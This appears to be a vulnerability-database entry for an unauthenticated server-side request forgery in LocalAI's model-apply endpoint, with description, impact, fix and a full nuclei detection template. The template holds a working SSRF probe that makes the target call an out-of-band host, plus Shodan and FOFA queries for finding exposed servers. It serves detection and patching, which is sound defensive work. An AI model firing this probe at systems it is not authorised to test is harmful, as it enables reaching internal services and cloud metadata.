Browse / CVEs / CVE-2026-59707
CVE-2026-59707· mudler / localai· CWE-918
LocalAI < 4.6.0 - Server-Side Request Forgery
LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.
Impact
An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages.
Fix
Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses.
How to confirm it
Send: POST /models/apply
Positive when: contains "\"uuid\":\"" and "status\":" AND contains in interactsh_protocol "dns" AND status 200Run it with nuclei: nuclei -id CVE-2026-59707 -u <target>
The full check
id: CVE-2026-59707
info:
name: LocalAI < 4.6.0 - Server-Side Request Forgery
author: ashish-cybersec
severity: critical
description: |
LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.
impact: |
An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages.
remediation: |
Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses.
reference:
- https://github.com/mudler/LocalAI/issues/10665
- https://github.com/mudler/LocalAI/commit/2cbb3c96b34d
- https://nvd.nist.gov/vuln/detail/CVE-2026-59707
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 9.3
cve-id: CVE-2026-59707
epss-score: 0.01383
epss-percentile: 0.72403
cwe-id: CWE-918
metadata:
verified: true
max-request: 2
vendor: mudler
product: localai
shodan-query: http.favicon.hash:-976853304
fofa-query: icon_hash="-976853304"
tags: cve,cve2026,localai,ssrf,mudler
http:
- raw:
- |
POST /models/apply HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"url":"http://{{interactsh-url}}/{{rand_text_alpha(6)}}.yaml"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"uuid":"'
- 'status":'
condition: and
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200
extractors:
- type: regex
name: jobid
part: body
group: 1
regex:
- '"uuid":"([a-f0-9-]+)"'
internal: trueReferences
- https://github.com/mudler/LocalAI/issues/10665
- https://github.com/mudler/LocalAI/commit/2cbb3c96b34d
- https://nvd.nist.gov/vuln/detail/CVE-2026-59707
Use this check only on systems you are authorised to test. Where the data comes from